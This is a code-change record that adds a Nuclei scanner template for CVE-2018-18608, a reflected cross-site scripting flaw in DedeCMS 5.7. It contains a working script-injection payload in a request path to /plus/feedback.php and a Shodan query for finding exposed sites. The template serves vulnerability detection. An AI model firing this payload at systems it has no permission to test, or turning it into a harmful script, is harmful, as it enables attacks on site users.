Merge pull request #4448 from ritikchaddha/patch-64

Create CVE-2018-18608.yaml

cves/2018/CVE-2018-18608.yaml

@@ -0,0 +1,38 @@
+id: CVE-2018-18608
+
+info:
+  name: DedeCMS V5.7 - Cross Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    DedeCMS 5.7 SP2 allows XSS via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
+  reference:
+    - https://github.com/ky-j/dedecms/issues/8
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-18608
+  metadata:
+    verified: true
+    shodan-query: http.html:"DedeCms"
+  tags: dedecms,xss,cve,cve2018
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "'><script>alert(document.domain)</script>"
+          - "DedeCMS Error Warning!"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200